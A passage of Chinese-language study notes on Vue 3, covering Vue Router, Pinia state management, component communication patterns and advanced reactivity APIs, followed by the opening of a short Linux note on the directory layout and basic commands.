   > 缺点：`URL`带有`#`不太美观，且在`SEO`优化方面相对较差。
   >
   > ```js
   > const router = createRouter({
   >   	history:createWebHashHistory(), //hash模式
   >   	/******/
   > })
   > ```

### to的两种写法

```vue
<!-- 第一种：to的字符串写法 -->
<router-link active-class="active" to="/home">主页</router-link>

<!-- 第二种：to的对象写法 -->
<router-link active-class="active" :to="{path:'/home'}">Home</router-link>
```

### 命名路由

作用：可以简化路由跳转及传参

给路由规则命名：

```js
routes:[
  {
    name:'zhuye',
    path:'/home',
    component:Home
  },
  {
    name:'xinwen',
    path:'/news',
    component:News,
  },
  {
    name:'guanyu',
    path:'/about',
    component:About
  }
]
```

跳转路由：

```vue
<!--简化前：需要写完整的路径（to的字符串写法） -->
<router-link to="/news/detail">跳转</router-link>

<!--简化后：直接通过名字跳转（to的对象写法配合name属性） -->
<router-link :to="{name:'guanyu'}">跳转</router-link>
```

### 嵌套路由

编写`News`的子路由：`Detail.vue`

配置路由规则，使用`children`配置项：

```ts
const router = createRouter({
  history:createWebHistory(),
	routes:[
		{
			name:'zhuye',
			path:'/home',
			component:Home
		},
		{
			name:'xinwen',
			path:'/news',
			component:News,
			children:[
				{
					name:'xiang',
					path:'detail',
					component:Detail
				}
			]
		},
		{
			name:'guanyu',
			path:'/about',
			component:About
		}
	]
})
export default router
```

跳转路由（记得要加完整路径）：

```vue
<routerlink to="/news/detail">xxxx</routerlink>
<!-- 或 -->
<routerlink :to="{path:'/news/detail'}">xxxx</routerlink>
```

记得去`Home`组件中预留一个`<router-view>`

```vue
<template>
  <div class="news">
    <nav class="news-list">
      <RouterLink v-for="news in newsList" :key="news.id" :to="{path:'/news/detail'}">
        {{news.name}}
      </RouterLink>
    </nav>
    <div class="news-detail">
      <RouterView/>
    </div>
  </div>
</template>
```

### 路由传参

#### query参数

1. 传递参数

   ```vue
   <!-- 跳转并携带query参数（to的字符串写法） -->
   <router-link to="/news/detail?a=1&b=2&content=欢迎你">
   	跳转
   </router-link>
   				
   <!-- 跳转并携带query参数（to的对象写法） -->
   <RouterLink 
     :to="{
       //name:'xiang', //用name也可以跳转
       path:'/news/detail',
       query:{
         id:news.id,
         title:news.title,
         content:news.content
       }
     }"
   >
     {{news.title}}
   </RouterLink>
   ```

2. 接收参数：

   ```js
   import {useRoute} from 'vue-router'
   const route = useRoute()
   // 打印query参数
   console.log(route.query)
   ```

#### params参数

1. 传递参数

   ```vue
   <!-- 跳转并携带params参数（to的字符串写法） -->
   <RouterLink :to="`/news/detail/001/新闻001/内容001`">{{news.title}}</RouterLink>
   				
   <!-- 跳转并携带params参数（to的对象写法） -->
   <RouterLink 
     :to="{
       name:'xiang', //用name跳转
       params:{
         id:news.id,
         title:news.title,
         content:news.title
       }
     }"
   >
     {{news.title}}
   </RouterLink>
   ```

2. 接收参数：

   ```js
   import {useRoute} from 'vue-router'
   const route = useRoute()
   // 打印params参数
   console.log(route.params)
   ```

> 备注1：传递`params`参数时，若使用`to`的对象写法，**必须使用`name`配置项**，不能用`path`。
>
> 备注2：传递`params`参数时，需要提前在**规则中占位。**

### 路由的props配置

作用：让路由组件更方便的收到参数（可以将路由参数作为`props`传给组件）

```js
{
	name:'xiang',
	path:'detail/:id/:title/:content',
	component:Detail,

  // props的对象写法，作用：把对象中的每一组key-value作为props传给Detail组件
  // props:{a:1,b:2,c:3}, 

  // props的布尔值写法，作用：把收到了每一组params参数，作为props传给Detail组件
  // props:true
  
  // props的函数写法，作用：把返回的对象中每一组key-value作为props传给Detail组件
  props(route){
    return route.query
  }
}
```

### replace属性

1. 作用：控制路由跳转时操作浏览器历史记录的模式。

2. 浏览器的历史记录有两种写入方式：分别为`push`和`replace`：

   * `push`是追加历史记录（默认值）。
   * `replace`是替换当前记录。

3. 开启`replace`模式：

   ```vue
   <RouterLink replace .......>News</RouterLink>
   ```

### 编程式导航

定义：**不依赖RouterLink实现路由跳转**

router.push()的参数和to的参数类似

```js
import {useRouter} from 'vue-router'
const router = useRouter()
router.push({
    name:'xingwen',
    query:{
        id:...,
        name:...,
        age:...
    }
})

```

### 重定向

作用：将特定的路径，重新定向到已有路由。

首页默认组件展示

1. 具体编码：

   ```js
   {
       path:'/',
       redirect:'/about'
   }
   ```

## pinia

集中式状态(数据)管理

Script中的name用于**定义组件名**，如果不写，会将**文件名**作为**组件名**

```js
v-model.number='n'
// 自动转换成数字
```

**nanoid**库用于生成唯一ID值`npm i nanoid`

```js
import {nanoid} from 'nanoid'
let id=nanoid() // 调用生成即可
```

```js
let {data:{content:title}} = result
// 连续解构+重命名 从result解构出data在解构出content再重新命名为title
```

### 搭建Pinia

第一步：`npm install pinia`

第二步：操作`src/main.ts`

```ts
import { createApp } from 'vue'
import App from './App.vue'

/* 引入createPinia，用于创建pinia */
import { createPinia } from 'pinia'

/* 创建pinia */
const pinia = createPinia()
const app = createApp(App)

/* 使用插件 */{}
app.use(pinia)
app.mount('#app')
```

此时开发者工具中已经有了`pinia`选项

在src文件夹中新建一个store文件夹(数据总经理)

> 如果ref定义在reactive中，读取ref时不需要再加value，已经自动解包了

### 存储+读取数据

const useCountStore = defineStore('count',{...}）

* useCountStore :名字
* count：相当于ID值，最好与文件名保持一致
* ...: 配置对象

1. `Store`是一个保存：**状态**、**业务逻辑** 的实体，每个组件都可以**读取**、**写入**它。

2. 它有三个概念：`state`、`getter`、`action`，相当于组件中的： `data`、 `computed` 和 `methods`。

3. 具体编码：`src/store/count.ts`

   ```ts
   // 引入defineStore用于创建store
   import {defineStore} from 'pinia'

   // 定义并暴露一个store
   export const useCountStore = defineStore('count',{
     // 动作
     actions:{},
     // 状态
     state(){
       return {
         sum:6
       }
     },
     // 计算
     getters:{}
   })
   ```

4. 具体编码：`src/store/talk.ts`

   ```js
   // 引入defineStore用于创建store
   import {defineStore} from 'pinia'

   // 定义并暴露一个store
   export const useTalkStore = defineStore('talk',{
     // 动作
     actions:{},
     // 状态
     state(){
       return {
         talkList:[
           {id:'yuysada01',content:'你今天有点怪，哪里怪？怪好看的！'},
        	{id:'yuysada02',content:'草莓、蓝莓、蔓越莓，你想我了没？'},
           {id:'yuysada03',content:'心里给你留了一块地，我的死心塌地'}
         ]
       }
     },
     // 计算
     getters:{}
   })
   ```

5. 组件中使用`state`中的数据

   ```vue
   <template>
     <h2>当前求和为：{{ sumStore.sum }}</h2>
   </template>

   <script setup lang="ts" name="Count">
     // 引入对应的useXxxxxStore	
     import {useSumStore} from '@/store/sum'
     
     // 调用useXxxxxStore得到对应的store
     const sumStore = useSumStore()
   </script>
   ```

   ```vue
   <template>
   	<ul>
       <li v-for="talk in talkStore.talkList" :key="talk.id">
         {{ talk.content }}
       </li>
     </ul>
   </template>

   <script setup lang="ts" name="Count">
     import axios from 'axios'
     import {useTalkStore} from '@/store/talk'

     const talkStore = useTalkStore()
   </script>
   ```

### 修改数据(三种方式)

1. 第一种修改方式，直接修改

   ```ts
   countStore.sum = 666
   ```

2. 第二种修改方式：批量修改

   ```ts
   countStore.$patch({
     sum:999,
     school:'atguigu'
   })
   ```

3. 第三种修改方式：借助`action`修改（`action`中可以编写一些业务逻辑）

   ```js
   import { defineStore } from 'pinia'

   export const useCountStore = defineStore('count', {
     /*************/
     actions: {
       //加
       increment(value:number) {
         if (this.sum < 10) {
           //操作countStore中的sum
           this.sum += value
         }
       },
       //减
       decrement(value:number){
         if(this.sum > 1){
           this.sum -= value
         }
       }
     },
     /*************/
   })
   ```

4. 组件中调用`action`即可

   ```js
   // 使用countStore
   const countStore = useCountStore()

   // 调用对应action
   countStore.incrementOdd(n.value)
   ```

### storeToRefs

* 借助`storeToRefs`将`store`中的数据转为`ref`对象，方便在模板中使用。

* 注意：`pinia`提供的`storeToRefs`**只会将数据做转换**，而`Vue`的`toRefs`会转换`store`中全部数据。

* ```vue
  <template>
  	<div class="count">
  		<h2>当前求和为：{{sum}}</h2>
  	</div>
  </template>

  <script setup lang="ts" name="Count">
    import { useCountStore } from '@/store/count'
    /* 引入storeToRefs */
    import { storeToRefs } from 'pinia'

  	/* 得到countStore */
    const countStore = useCountStore()
    /* 使用storeToRefs转换countStore，随后解构 */
    const {sum} = storeToRefs(countStore)
  </script>
  ```

### getters

1. 概念：当`state`中的数据，**需要经过处理后再使用时**，可以使用`getters`配置。

2. 追加`getters`配置。

   ```js
   // 引入defineStore用于创建store
   import {defineStore} from 'pinia'

   // 定义并暴露一个store
   export const useCountStore = defineStore('count',{
     // 动作
     actions:{
       /************/
     },
     // 状态
     state(){
       return {
         sum:1,
         school:'atguigu'
       }
     },
     // 计算
     getters:{
       bigSum:(state):number => state.sum *10,
       upperSchool():string{
         return this. school.toUpperCase()
       }
     }
   })
   ```

3. 组件中读取数据：

   ```js
   const {increment,decrement} = countStore
   let {sum,school,bigSum,upperSchool} = storeToRefs(countStore)
   ```

   ### $subscribe

通过 store 的 `$subscribe()` 方法侦听 `state` 及其变化

mutate:本次修改的信息

state：真正的数据

```ts
talkStore.$subscribe((mutate,state)=>{
  console.log('LoveTalk',mutate,state)
  localStorage.setItem('talk',JSON.stringify(talkList.value))
})
```

```js
 localStorage.setItem('talk',JSON.stringify(talkList.value)) // 将数据转换后本地存储
let talkList=JSON.parse(localStorage.getItem('talk') as String) || [] //读取字符串并转回来 断言（它就是一个能取出来的字符串）默认值空数组
```

本地存储存字符串，如果不是字符串，底层会调用toString()

如果一个数组里面都是对象，应该调用`JSON.stringify`将数组打成字符串的形式，并且人类看得懂

### store组合式写法

```ts
import {defineStore} from 'pinia'
import axios from 'axios'
import {nanoid} from 'nanoid'
import {reactive} from 'vue'

export const useTalkStore = defineStore('talk',()=>{
  // talkList就是state
  const talkList = reactive(
    JSON.parse(localStorage.getItem('talkList') as string) || []
  )

  // getATalk函数相当于action
  async function getATalk(){
    // 发请求，下面这行的写法是：连续解构赋值+重命名
    let {data:{content:title}} = await axios.get('https://api.uomg.com/api/rand.qinghua?format=json')
    // 把请求回来的字符串，包装成一个对象
    let obj = {id:nanoid(),title}
    // 放到数组中
    talkList.unshift(obj)
  }
  return {talkList,getATalk}
})
```

## 组件通信

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109074_0.png)

### props

概述：`props`是使用频率最高的一种通信方式，常用与 ：**父 ↔ 子**。

* 若 **父传子**：属性值是**非函数**。(通过组件中的**属性**传递)
* 若 **子传父**：属性值是**函数**。(通过组件中的**函数**传递) -> 父亲给儿子传一个函数让儿子调用 数据即可回到父亲

父组件：

```vue
<template>
  <div class="father">
    <h3>父组件，</h3>
		<h4>我的车：{{ car }}</h4>
		<h4>儿子给的玩具：{{ toy }}</h4>
		<Child :car="car" :getToy="getToy"/>
  </div>
</template>

<script setup lang="ts" name="Father">
	import Child from './Child.vue'
	import { ref } from "vue";
	// 数据
	const car = ref('奔驰')
	const toy = ref()
	// 方法
	function getToy(value:string){
		toy.value = value
	}
</script>
```

子组件

```vue
<template>
  <div class="child">
    <h3>子组件</h3>
		<h4>我的玩具：{{ toy }}</h4>
		<h4>父给我的车：{{ car }}</h4>
		<button @click="getToy(toy)">玩具给父亲</button>
  </div>
</template>

<script setup lang="ts" name="Child">
	import { ref } from "vue";
	const toy = ref('奥特曼')
	
	defineProps(['car','getToy'])
</script>
```

### 自定义事件

步骤：

1. 首先在父组件中**子组件标签**处声明一个自定义事件并且指定回调函数`@haha='qwe'`

2. 子组件处使用`const emit = defineEmits(['haha'])`接收

3. 最后在需要传递数据的地方调用即可`emit('haha',传参)` ，此时父组件处的自定义事件的回调函数就可以拿到数据

   **命名规范**：

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109086_0.png)

1. 概述：自定义事件常用于：**子 => 父。**
2. 注意区分好：原生事件、自定义事件。

* 原生事件：
  * 事件名是特定的（`click`、`mosueenter`等等）
  * 事件对象`$event`: 是包含事件相关信息的对象（`pageX`、`pageY`、`target`、`keyCode`）
* 自定义事件：
  * 事件名是任意名称
  * 事件对象`$event`: 是调用`emit`时所提供的数据，可以是任意类型！！！

1. 示例：

   ```html
   <!--在父组件中，给子组件绑定自定义事件：-->
   <Child @send-toy="toy = $event"/>

   <!--注意区分原生事件与自定义事件中的$event-->
   <button @click="toy = $event">测试</button>
   ```

   ```js
   //子组件中，触发事件：
   this.$emit('send-toy', 具体数据)
   ```

### mitt

**任意组件间通信**

概述：与消息订阅与发布（`pubsub`）功能类似，可以实现任意组件间通信。

| emitter的方法 | 含义               |
| ------------- | ------------------ |
| all           | 拿到所有绑定的事件 |
| emit          | 触发某一个事件     |
| off           | 解绑某一个事件     |
| on            | 绑定某一个事件     |
| all.clear()   | 清空所有事件       |

安装`mitt`

```shell
npm i mitt
```

新建文件：`src\utils\emitter.ts`

```javascript
// 引入mitt 
import mitt from "mitt";

// 创建emitter
const emitter = mitt()

/*
  // 绑定事件
  emitter.on('abc',(value)=>{
    console.log('abc事件被触发',value)
  })
  emitter.on('xyz',(value)=>{
    console.log('xyz事件被触发',value)
  })

  setInterval(() => {
    // 触发事件
    emitter.emit('abc',666)
    emitter.emit('xyz',777)
  }, 1000);

  setTimeout(() => {
    // 清理事件
    emitter.all.clear()
  }, 3000); 
*/

// 创建并暴露mitt
export default emitter
```

接收数据的组件中：绑定事件、同时在销毁前解绑事件：

```typescript
import emitter from "@/utils/emitter";
import { onUnmounted } from "vue";

// 绑定事件
emitter.on('send-toy',(value)=>{
  console.log('send-toy事件被触发',value)
})

onUnmounted(()=>{
  // 解绑事件
  emitter.off('send-toy')
})
```

【第三步】：提供数据的组件，在合适的时候触发事件

```javascript
import emitter from "@/utils/emitter";

function sendToy(){
  // 触发事件
  emitter.emit('send-toy',toy.value)
}
```

**注意这个重要的内置关系，总线依赖着这个内置关系**

### v-model

**可以自己封装UI组件库**

当v-model用在**html标签**上时，底层原理:

v-model原理：

```html
<input type="text" :value="name" @input="name = $event.target.value">

    <input type="text" :value="name" @input="name = (<HTMLInputElement>$event.target).value">
    <!-- TS写法 -->
```

当v-model用在**组件标签**上时:

本质：`:moldeValue` ＋ `update:modelValue`事件

> 注意：update:modelValue是一个事件名称

```vue
<!-- 组件标签上使用v-model指令 -->
<AtguiguInput v-model="userName"/>

<!-- 组件标签上v-model的本质 -->
<AtguiguInput :modelValue="userName" @update:model-value="userName = $event"/>
```

1. `AtguiguInput`组件中：

   ```vue
   <template>
     <div class="box">
       <!--将接收的value值赋给input元素的value属性，目的是：为了呈现数据 -->
   		<!--给input元素绑定原生input事件，触发input事件时，进而触发update:model-value事件-->
       <input 
          type="text" 
          :value="modelValue" 
          @input="emit('update:model-value',$event.target.value)"
       >
     </div>
   </template>

   <script setup lang="ts" name="AtguiguInput">
     // 接收props
     defineProps(['modelValue'])
     // 声明事件
     const emit = defineEmits(['update:model-value'])
   </script>
   ```

2. 也可以更换`value`，例如改成`abc`

   ```vue
   <!-- 也可以更换value，例如改成abc-->
   <AtguiguInput v-model:abc="userName"/>

   <!-- 上面代码的本质如下 -->
   <AtguiguInput :abc="userName" @update:abc="userName = $event"/>
   ```

   `AtguiguInput`组件中：

   ```vue
   <template>
     <div class="box">
       <input 
          type="text" 
          :value="abc" 
          @input="emit('update:abc',$event.target.value)"
       >
     </div>
   </template>

   <script setup lang="ts" name="AtguiguInput">
     // 接收props
     defineProps(['abc'])
     // 声明事件
     const emit = defineEmits(['update:abc'])
   </script>
   ```

3. 如果`value`可以更换，那么就可以在组件标签上多次使用`v-model`

   再在AtguiguInput添加对应属性方法即可

   ```vue
   <AtguiguInput v-model:abc="userName" v-model:xyz="password"/>
   ```

> $event到底是个啥？ 啥时候要.target
>
> * ​	对于原生事件，$event就是事件对象（要）
> * ​	对于自定义事件，$event就是触发事件时，所传递的参数（数据） （不要）

### $attrs

**祖 < - >  孙 互相通信**（本质是props）

**v-bind**:
![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109093_0.png)

1. 概述：`$attrs`用于实现**当前组件的父组件**，向**当前组件的子组件**通信（**祖→孙**）。

2. 具体说明：`$attrs`是一个对象，**包含所有父组件传入的标签属性。**

   > 注意：`$attrs`会自动排除`props`中声明的属性(可以认为声明过的 `props` 被子组件自己“消费”了)

   过程：

   父亲把数据传给儿子`Child :a="a" :b="b" :c="c" :d="d" v-bind="{x:100,y:200}" :updateA="updateA"/>`

   儿子不接收，直接把数据传给孙子`GrandChild v-bind="$attrs"/>`

   孙子接收即可

父组件：

```vue
<template>
  <div class="father">
    <h3>父组件</h3>
		<Child :a="a" :b="b" :c="c" :d="d" v-bind="{x:100,y:200}" :updateA="updateA"/>
  </div>
</template>

<script setup lang="ts" name="Father">
	import Child from './Child.vue'
	import { ref } from "vue";
	let a = ref(1)
	let b = ref(2)
	let c = ref(3)
	let d = ref(4)

	function updateA(value){
		a.value = value
	}
</script>
```

子组件：

```vue
<template>
	<div class="child">
		<h3>子组件</h3>
		<GrandChild v-bind="$attrs"/>
	</div>
</template>

<script setup lang="ts" name="Child">
	import GrandChild from './GrandChild.vue'
</script>
```

孙组件：

```vue
<template>
	<div class="grand-child">
		<h3>孙组件</h3>
		<h4>a：{{ a }}</h4>
		<h4>b：{{ b }}</h4>
		<h4>c：{{ c }}</h4>
		<h4>d：{{ d }}</h4>
		<h4>x：{{ x }}</h4>
		<h4>y：{{ y }}</h4>
		<button @click="updateA(666)">点我更新A</button>
	</div>
</template>

<script setup lang="ts" name="GrandChild">
	defineProps(['a','b','c','d','x','y','updateA'])
</script>
```

### $ refs、$parent

子组件**暴露**数据，父组件即可通过ref获取/修改

ref获取单个数据 refs即可获取所有子组件数据

> 注意：记得暴露数据，否则无法获取

1. 概述：

   * `$refs`用于 ：**父→子。**
   * `$parent`用于：**子→父。**

2. 原理如下：

   | 属性      | 说明                                                     |
   | --------- | -------------------------------------------------------- |
   | `$refs`   | 值为对象，包含所有被`ref`属性标识的`DOM`元素或组件实例。 |
   | `$parent` | 值为对象，当前组件的父组件实例对象。                     |

> 注意点：当一个ref在一个**响应式对象**数据内部时，访问不需要加value，自动解包

### provide、inject

`provide(名字,值)` 向后代提供数据

inject(名字,默认值) 接收数据

1. 概述：实现**祖孙组件**直接通信

2. 具体使用：

   * 在祖先组件中通过`provide`配置向后代组件提供数据
   * 在后代组件中通过`inject`配置来声明接收数据

3. 具体编码：

   【第一步】父组件中，使用`provide`提供数据

   ```vue
   <template>
     <div class="father">
       <h3>父组件</h3>
       <h4>资产：{{ money }}</h4>
       <h4>汽车：{{ car }}</h4>
       <button @click="money += 1">资产+1</button>
       <button @click="car.price += 1">汽车价格+1</button>
       <Child/>
     </div>
   </template>

   <script setup lang="ts" name="Father">
     import Child from './Child.vue'
     import { ref,reactive,provide } from "vue";
     // 数据
     let money = ref(100)
     let car = reactive({
       brand:'奔驰',
       price:100
     })
     // 用于更新money的方法
     function updateMoney(value:number){
       money.value += value
     }
     // 提供数据
     provide('moneyContext',{money,updateMoney})
     provide('car',car)
   </script>
   ```

   > 注意：子组件中不用编写任何东西，是不受到任何打扰的

   【第二步】孙组件中使用`inject`配置项接受数据。

   ```vue
   <template>
     <div class="grand-child">
       <h3>我是孙组件</h3>
       <h4>资产：{{ money }}</h4>
       <h4>汽车：{{ car }}</h4>
       <button @click="updateMoney(6)">点我</button>
     </div>
   </template>

   <script setup lang="ts" name="GrandChild">
     import { inject } from 'vue';
     // 注入数据
    let {money,updateMoney} = inject('moneyContext',{money:0,updateMoney:(x:number)=>{}})
     let car = inject('car')
   </script>
   ```

### pinia

### slot

**用于复用组件，呈现不同内容**

#### 默认插槽

```vue
父组件中：
        <Category title="今日热门游戏">
          <ul>
            <li v-for="g in games" :key="g.id">{{ g.name }}</li>
          </ul>
        </Category>
子组件中：
        <template>
          <div class="item">
            <h3>{{ title }}</h3>
            <!-- 默认插槽 -->
            <slot>默认值</slot>
          </div>
        </template>
```

#### 具名插槽

**v-slot:s1 简写形式 #s1**

```vue
父组件中：
        <Category title="今日热门游戏">
          <template v-slot:s1>
            <ul>
              <li v-for="g in games" :key="g.id">{{ g.name }}</li>
            </ul>
          </template>
          <template #s2>
            <a href="">更多</a>
          </template>
        </Category>
子组件中：
        <template>
          <div class="item">
            <h3>{{ title }}</h3>
            <slot name="s1"></slot>
            <slot name="s2"></slot>
          </div>
        </template>
```

#### 作用域插槽

数据在子，子组件将数据传给使用者，渲染结构由使用者决定

通俗理解：  压岁钱在孩子那，但是使用压岁钱买的东西，还是由父亲决定

1. 理解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（新闻数据在`News`组件中，但使用数据所遍历出来的结构由`App`组件决定）

2. 具体编码：

   ```vue
   父组件中：
         <Game v-slot="params">
         <!-- <Game v-slot:default="params"> -->
         <!-- <Game #default="params"> -->
           <ul>
             <li v-for="g in params.games" :key="g.id">{{ g.name }}</li>
           </ul>
         </Game>

   子组件中：
         <template>
           <div class="category">
             <h2>今日游戏榜单</h2>
             <slot :games="games" a="哈哈"></slot>
           </div>
         </template>

         <script setup lang="ts" name="Category">
           import {reactive} from 'vue'
           let games = reactive([
             {id:'asgdytsa01',name:'英雄联盟'},
             {id:'asgdytsa02',name:'王者荣耀'},
             {id:'asgdytsa03',name:'红色警戒'},
             {id:'asgdytsa04',name:'斗罗大陆'}
           ])
         </script>
   ```

```vue
v-slot:qwe="params" //具名+作用域插槽
```

## 其它 API

### shallowRef  shallowReactive

#### `shallowRef`

1. 作用：创建一个响应式数据，但只对顶层属性进行响应式处理。

2. 用法：

   ```js
   let myVar = shallowRef(initialValue);

   person.values属于第一层
   person.values 浅层次
   person.value.age 深层次
   ```

3. 特点：只跟踪引用值的变化，不关心值内部的属性变化。

4. 只关心整体是否被修改，具体属性值不管

#### shallow Reactive

1. 作用：创建一个浅层响应式对象，只会使对象的最顶层属性变成响应式的，对象内部的嵌套属性则不会变成响应式的

2. 用法：

   ```js
   const myObj = shallowReactive({ ... });
   ```

3. 特点：对象的顶层属性是响应式的，但嵌套对象的属性不是。

#### 总结

> 通过使用 [`shallowRef()`](https://cn.vuejs.org/api/reactivity-advanced.html#shallowref) 和 [`shallowReactive()`](https://cn.vuejs.org/api/reactivity-advanced.html#shallowreactive) 来绕开深度响应。浅层式 `API` 创建的状态只在其顶层是响应式的，对所有深层的对象不会做任何处理，避免了对每一个内部属性做响应式所带来的性能成本，这使得属性的访问变得更快，可提升性能。

​

### readonly shallowReadonly

#### readonly

**单向关联**！！！

1. 作用：用于创建一个对象的**深只读副本**。

2. 用法：

   ```js
   const original = reactive({ ... });
   const readOnlyCopy = readonly(original);

   // 两个数据单向关联 可以修改sun1，sun2也会同步更改  但是sun2不可修改
   let sun1 = ref(0)
   let sun2 = ref(sum1)
   ```

3. 特点：

   * 对象的所有嵌套属性都将变为只读。
   * 任何尝试修改这个对象的操作都会被阻止（在开发模式下，还会在控制台中发出警告）。

4. 应用场景：

   * 创建**不可变的状态快照**。
   * 保护全局状态或配置不被修改。

#### shallowReadonly

1. 作用：与 `readonly` 类似，但只作用于对象的**顶层属性**。

2. 用法：

   ```js
   const original = reactive({ ... });
   const shallowReadOnlyCopy = shallowReadonly(original);
   ```

3. 特点：

   * 只将对象的顶层属性设置为只读，对象内部的嵌套属性仍然是可变的。

   * 适用于只需保护对象顶层属性的场景。

### toRaw markRaw

#### toRaw

1. 作用：用于获取一个响应式对象的原始对象， `toRaw` 返回的对象不再是响应式的，不会触发视图更新。

   > 官网描述：这是一个可以用于临时读取而不引起代理访问/跟踪开销，或是写入而不触发更改的特殊方法。不建议保存对原始对象的持久引用，请谨慎使用。

   > 何时使用？ —— 在需要将响应式对象传递给非 `Vue` 的库或外部系统时，使用 `toRaw` 可以确保它们收到的是普通对象，**保证其修改普通数据不会影响页面数据**

   > 当希望把一个数据交给别人用的时候，知道会被修改，但是不希望修改的数据传递到页面上，所以使用to Raw()传递过去即可

2. 具体编码：

   ```js
   import { reactive,toRaw,markRaw,isReactive } from "vue";

   /* toRaw */
   // 响应式对象
   let person = reactive({name:'tony',age:18})
   // 原始对象
   let rawPerson = toRaw(person)


   /* markRaw */
   let citysd = markRaw([
     {id:'asdda01',name:'北京'},
     {id:'asdda02',name:'上海'},
     {id:'asdda03',name:'天津'},
     {id:'asdda04',name:'重庆'}
   ])
   // 根据原始对象citys去创建响应式对象citys2 —— 创建失败，因为citys被markRaw标记了
   let citys2 = reactive(citys)
   console.log(isReactive(person))
   console.log(isReactive(rawPerson))
   console.log(isReactive(citys))
   console.log(isReactive(citys2))
   ```

#### `markRaw`

1. 作用：标记一个对象，使其**永远不会**变成响应式的。

   > 例如使用`mockjs`时，为了防止误把`mockjs`变为响应式对象，可以使用 `markRaw` 去标记`mockjs`

2. 编码：

   ```js
   /* markRaw */
   let citys = markRaw([
     {id:'asdda01',name:'北京'},
     {id:'asdda02',name:'上海'},
     {id:'asdda03',name:'天津'},
     {id:'asdda04',name:'重庆'}
   ])
   // 根据原始对象citys去创建响应式对象citys2 —— 创建失败，因为citys被markRaw标记了
   let citys2 = reactive(citys)
   ```

### customRef

当想实现一个效果，数据一修改，**过一秒**后在更新数据

**难点：**

**读数据首先调用track()，**

告诉vue数据很重要，要对数据进行持续跟踪，一旦数据发生变化就更新

**改数据最后调用trigger()**

当所有数据更新完毕，通知vue一下数据发生变化

> 一般自定义Ref封装在Hooks里面

作用：创建一个自定义的`ref`，并对其依赖项跟踪和更新触发进行逻辑控制。

实现防抖效果（`useSumRef.ts`）：

```typescript
import {customRef } from "vue";

export default function(initValue:string,delay:number){
  let msg = customRef((track,trigger)=>{
    let timer:number
    return {
      get(){
        track() // 告诉Vue数据msg很重要，要对msg持续关注，一旦变化就更新
        return initValue
      },
      set(value){
        clearTimeout(timer)
        timer = setTimeout(() => {
          initValue = value
          trigger() //通知Vue数据msg变化了
        }, delay);
      }
    }
  }) 
  return {msg}
}
```

组件中使用：

```ts
import useSumRef from './hooks/useSumRef.ts'
let {msg} = useSumRef('Hellow',3000)
```

## Vue3新组件

### Teleport

Teleport 是一种能够将我们的**组件html结构**移动到指定位置的技术。

调用者某些属性会影响子组件位置，使用to属性**指定插入调用者的某一个位置**

```html
<teleport to='body' >
    <div class="modal" v-show="isShow">
      <h2>我是一个弹窗</h2>
      <p>我是弹窗中的一些内容</p>
      <button @click="isShow = false">关闭弹窗</button>
    </div>
</teleport>
```

### Suspense

场景：当子组件有异步任务的时候，并且子组件还要用的时候

* 等待异步组件时渲染一些额外内容，让应用有更好的用户体验
* 使用步骤：
  * 异步引入组件
  * 使用`Suspense`包裹组件，并配置好`default` 与 `fallback`

defineAsyncComponent  是 vue3引入的一个 API，用于定义和加载异步组件。

它的主要作用是实现**懒加载**（Lazy Loading），即在**实际需要时才加载组件**，优化页面的性能和提升用户体验，尤其适用于大型应用和单页面应用（SPA）

```tsx
import { defineAsyncComponent,Suspense } from "vue";
const Child = defineAsyncComponent(()=>import('./Child.vue'))
```

```vue
<template>
    <div class="app">
        <h3>我是App组件</h3>
        <Suspense>
          <template v-slot:default>
            <Child/>
          </template>
          <template v-slot:fallback>
            <h3>加载中.......</h3>
          </template>
        </Suspense>
    </div>
</template>
```

### 全局API转移到应用对象

> 全局API指的是Vue身上的
>
> 转移到应用上指的是app

* `app.component`

  * 在main.ts引入组件Hello.vue组件使用app.component('hello',hello)注册全局组件（即可以到处使用）

* `app.config`

  * ```ts
    // 全局属性 （所有位置都可以使用）
    app.config.globalProperties.x = 1

    declare module 'vue' {
        interface ComponentCustomProperties {
            x: number
        }
    }
    ```

* `app.directive`

  * ```ts
    // 自定义指令
    app.directive('bty', (element, { value }) => {
        element.innerText += value
        element.style.color = 'red'
        element.style.backgroundColor = 'yellow'
    })
    // 调用
     <h1 v-bty="name">Nian</h1>
    ```

* `app.mount`

  * 挂载应用（main.ts）

* `app.unmount`

  * 卸载应用

* `app.use`

  * 安装插件

### 其他

#### 非兼容性改变

> 指的是 在Vue3只能这样写，不能向Vue2那样写了
>
> 实质：Vue2 和 Vue3 有什么区别

* 过渡类名 `v-enter` 修改为 `v-enter-from`、过渡类名 `v-leave` 修改为 `v-leave-from`。

* `keyCode` 作为 `v-on` 修饰符的支持。

* `v-model` 指令在组件上的使用已经被重新设计，替换掉了 `v-bind.sync。`

* `v-if` 和 `v-for` 在同一个元素身上使用时的优先级发生了变化。

* 移除了`$on`、`$off` 和 `$once` 实例方法。

* 移除了过滤器 `filter`。

* 移除了`$children` 实例 `propert`。

---

---
url: /posts/2f6y5m04/index.md
---
# Linux 学习笔记
在 linux 中，软连接就类似于 windows 中的快捷方式，软连接是一个文件，这个文件中存储了另一个文件的路径，当我们访问这个软连接文件时，系统会自动跳转到它所指向的文件。

linux 没有盘的概念，所有的文件都在一个根目录下，所有的文件和目录都可以通过绝对路径来访问。

`cd /` 直接进入到根目录

```bash
目录结构
      |
      +--------------------------------------------------------------------------------+
      |        |        |        |        |        |        |        |        |        |
    +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+
    | bin |  | boot|  | dev |  | etc |  | home|  | lib |  | sbin|  | usr |  | var |  | tmp |
    +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+  +-----+
```

* bin (binaries) 存放二进制可执行文件
* sbin (super user binaries) 存放二进制可执行文件, 只有 root 才能访问
* etc (etcetera) 存放系统配置文件
* usr (unix shared resources) 用于存放共享的系统资源
* home 存放用户文件的根目录
* root 超级用户目录
* dev (devices) 用于存放设备文件
* lib (library) 存放跟文件系统中的程序运行所需的共享库及内核模块
* mnt (mount) 系统管理员安装临时文件系统的安装点
* boot 存放用于系统引导时使用的各种文件
* tmp (temporary) 用于存放各种临时文件
* var (variable) 用于存放运行时需要改变数据的文件

```bash
ll/ls -l # 列出当前目录下文件，详细信息，-a 显示
```

* `r` 表示可读权限
* `w` 表示可写权限
